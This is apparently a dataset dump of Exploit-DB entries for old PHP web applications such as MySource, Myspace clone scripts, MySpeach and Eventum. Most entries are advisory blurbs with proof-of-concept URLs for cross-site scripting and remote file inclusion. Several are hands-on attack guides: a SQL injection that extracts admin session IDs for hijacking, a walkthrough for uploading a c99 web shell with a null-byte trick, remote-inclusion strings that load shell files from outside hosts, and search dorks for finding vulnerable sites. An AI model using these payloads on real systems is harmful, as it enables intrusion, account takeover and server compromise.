deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26358
Description: MySource 2.14 - 'header.php?bgcolor' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15132/info
   
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/header.php?bgcolor=</style>[code]
Exploit-DB #26363
Description: MySource 2.14 - 'init_mysource.php?INCLUDE_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
 
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/web/init_mysource.php?INCLUDE_PATH=http://www.example.com/[file]?
Exploit-DB #26356
Description: MySource 2.14 - 'insert_table.php?bgcolor' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15132/info
 
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/insert_table.php?bgcolor=</style>[code]
Exploit-DB #26369
Description: MySource 2.14 - 'mail.php?PEAR_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
    
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Mail/Mail.php?PEAR_PATH=http://www.example.com/[file]?
Exploit-DB #26373
Description: MySource 2.14 - 'mime.php?PEAR_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
        
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
 
http://www.example.com/pear/Mail_Mime/mime.php?PEAR_PATH=http://www.example.com/[file]?
Exploit-DB #26372
Description: MySource 2.14 - 'mimeDecode.php?PEAR_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
       
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Mail_Mime/mimeDecode.php?PEAR_PATH=http://www.example.com/[file]?
Exploit-DB #26362
Description: MySource 2.14 - 'new_upgrade_functions.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info

MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/web/edit/upgrade_functions/new_upgrade_functions.php?INCLUDE_PATH=http://www.example.com/[file]?
http://www.example.com/web/edit/upgrade_functions/new_upgrade_functions.php?SQUIZLIB_PATH=http://www.example.com/[file]?
Exploit-DB #26365
Description: MySource 2.14 - 'Request.php?PEAR_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
   
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/HTTP_Request/Request.php?PEAR_PATH=http://www.example.com/[file]?
Exploit-DB #26364
Description: MySource 2.14 - 'Socket.php?PEAR_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
  
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Net_Socket/Socket.php?PEAR_PATH=http://www.example.com/[file]?
Exploit-DB #26371
Description: MySource 2.14 - 'Span.php?PEAR_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
      
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Date/Date/Span.php?PEAR_PATH=http://www.example.com/[file]?
Exploit-DB #26355
Description: MySource 2.14 - 'upgrade_in_progress_backend.php?target_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15132/info

MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/web/edit/upgrade_in_progress_backend.php?target_url=">[code]
Exploit-DB #28646
Description: mysource 2.14.8/2.16 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-22
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/20153/info

MySource products are prone to multiple input-validation vulnerabilities. Exploiting these issues will allow an attacker to manipulate the application into becoming an HTTP proxy and to conduct cross-site scripting attacks.

An attacker may leverage these issues to cause the application to consume excessive bandwidth and to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These versions are vulnerable:

- MySource Matrix 3.8 and earlier
- MySource 2.x.

http://www.example.com.au/$page?sq_remote_page_action=fetch_url&sq_remote_page_url=http://www.example.com
Exploit-DB #34609
Description: MySource Matrix - 'char_map.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-06
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/43020/info

MySource Matrix is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects MySource Matrix 3.28.3; other versions may also be affected.

http://www.example.com/fudge/wysiwyg/plugins/special_chars/char_map.php?width=233%3C/script%3E&height=233%3Cscript%3Ealert%28%27zsl%27%29%3C%2fscript%3E
Exploit-DB #34215
Description: MySpace Clone 2010 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-28
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/41199/info

MySpace Clone 2010 is prone to an SQL-injection and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

SQL Injection:

http://www.example.com/index.php?mode=[sqli]

Cross Site Scripting:

http://www.example.com/index.php?mode=[xss]
Exploit-DB #4628
Description: Myspace Clone Script - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-16
Author: VerY-SecReT

Exploit:
######################|S n I p E r - S A . C o m|###################
#                                                                  #
#  SSSSS      NNN        NN   II  PPPPPPP  EEEEEEEEE   RRRRR       #
# SS          NN NN      NN   II  PP    P  EE          RR   RR     #
#S            NN  NN     NN   II  PP    P  EE          RR     R    #
# SS          NN   NN    NN   II  PPPPPPP  EE          RR   RR     #
#   SSSS      NN    NN   NN   II PPP     EEEEEEE      RRRR         #
#        SS   NN     NN  NN   II  PP       EE          RRRR        #
#          S  NN      NN NN   II  PP       EE          RR  RR      #
#        SS   NN        NNN   II  PP       EE          RR   RR     #
#   SSSSS     NN        NNN   II  PP       EEEEEEEEEE  RR     RR   #
#                                                                  #
#####################|V e r Y - S e c R e T|########################
#found by :  VerY-SecReT <---->[SnipEr's TeaM]                     #
####################################################################
#HomePage : WwW.SnIpEr-Sa.Com                                      #
####################################################################
#DORK (altavista.com): "Search | Invite | Mail | Blog | Forum"     #
#########################################################################################################################
#EX: http://victim/index.php?pg=http://www.sniper-sa.com/sn2.txt?  #
#########################################################################################################################
#S.GreetZ: sniper-sa.com & SnIpEr-Sa & Rafoo                       #
####################################################################
#ThanX To: ShoOt3r , 911 , 3badi , Devil-X , Mr.Max , Golden Hacker#
####################################################################
#Contact : SecReT@SecuRitY.Com.Sa  & http://www.sniper-sa.com      #
####################################################################

# milw0rm.com [2007-11-16]
Exploit-DB #4622
Description: Myspace Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2007-11-13
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    Myspace Clone Script SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: datecomm.com
DORK (altavista.com): "Search | Invite | Mail | Blog | Forum"


DESCRIPTION: 
pull admin session id's from the database, then visit admin area.


EXPLOITS:
index.php?pg=forums&s=viewcat&seid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,sess_id,7,8,9,10/**/FROM/**/admin/*


NOTE/TIP:
after executing the Injection you will see a SessionID.

Use the session id in the below URL:
admin.php?pg=users&adsess=SESSION_ID

example: 
http://www.site.com/admin.php?pg=users&adsess=54f824ebcde36ee8844c103d97412123

Do Not Click Logout! as it will delete the sessionid from the DB.


GREETZ: milw0rm.com, H4CK-Y0u.org!


--==+================================================================================+==--
--==+		    Myspace Clone Script SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2007-11-13]
Exploit-DB #4741
Description: MySpace Content Zone 3.x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2007-12-18
Author: Don

Exploit:
----------------------------------------------------
[+-MySpace Content Zone RFi-+]
----------------------------------------------------
Found By Don & breaker_unit
----------------------------------------------------


Vuln file: /admin/uploadgames.php
Fix: secure admin area

Dork: "Powered by MySpace Content Zone"


go to /admin/uploadgames.php
example:
http://www.virtualdynamite.com/admin/uploadgames.php
and upload your shell - lets say it is named as c99.php

ok, now go to /uploads/thumb/c99.php
like: http://www.virtualdynamite.com/uploads/flash/c99.php

and - what you see ?? :xD
your shell!

Note1: you can add .php%00.jpeg cause %00 = null
Note2: it takes awhile to upload a shell sometimes!


Creditz to breaker_unit, h4cky0u.org and str0ke!
Don is wishing Happy Holidays to all of you reading this!
Cheers!

# milw0rm.com [2007-12-18]
Exploit-DB #4585
Description: MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-29
Author: r00t@zapak.com

Exploit:
MSRS v.1.21 Remote File Inclusion

Author Site : http://www.myspacepros.com/

POC :

/_theme/breadcrumb.php Line No. 3

<?php include($rootBase . '/_inc/breadcrumb.php'); ?>

Usage : http://site.com/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt?

D0rks :

inurl:/Generators/Layout_Generator
"!new Female Celebrities"
inurl:/Generators/Scrollbar_Colors

# milw0rm.com [2007-10-29]
Exploit-DB #30799
Description: MySpace Scripts Poll Creator - 'index.php' HTML Injection
Type: webapps
Platform: php
Date: 2007-11-22
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26544/info

MySpace Scripts Poll Creator is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/poll/index.php?action=create_new
Exploit-DB #3165
Description: MySpeach 2.1b - 'up.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-20
Author: 3l3ctric-Cracker

Exploit:
------------------------------------------------------------------------------------------------------------------------
Script:MySpeach
Affected Version:beta2.1 and maybe older
Downlaoad:http://www.graphiks.net/scripts/chat/myspeach-2.1beta.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (up.php)
Vul Code;
include_once($my['root'].'/admin/funcs.php');
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/up.php?my[root]=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-20]
Exploit-DB #2301
Description: MySpeach 3.0.2 - 'my_ms[root]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-05
Author: SHiKaA

Exploit:
#==============================================================================================
#MySpeach <= v3.0.2 (my_ms[root]) Remote File Inclusion Exploit
#===============================================================================================
#                                                                        
#Critical Level : Very Dangerous                                              
#                                                                        
#Venedor site : http://www.graphiks.net/telecharger/scripts/myspeach.zip        
#                                                                        
#Version : v3.0.2 & All Versions Bellow                                              
#                                                          
#================================================================================================
#
#Dork : allinurl: /myspeach/
#
#================================================================================================
#Bug in : jscript.php
#
#Vlu Code :
#--------------------------------
#     include($my_ms["root"].'/error.php');
#  
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/jscript.php?my_ms[root]=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-09-05]
Exploit-DB #26058
Description: MySQL AB Eventum 1.x - 'get_jsrs_data.php?F' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-01
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14436/info
  
MySQL Eventum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/eventum/get_jsrs_data.php?F=wee%22%3E%3Ciframe%3E
Exploit-DB #26057
Description: MySQL AB Eventum 1.x - 'list.php?release' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-01
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14436/info
 
MySQL Eventum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/eventum/list.php?keywords=&users=&category=&release=%22%3E%3Ciframe%3E
Exploit-DB #26056
Description: MySQL AB Eventum 1.x - 'view.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-01
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14436/info

MySQL Eventum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/eventum/view.php?id=1'%22%3E%3Ciframe%3E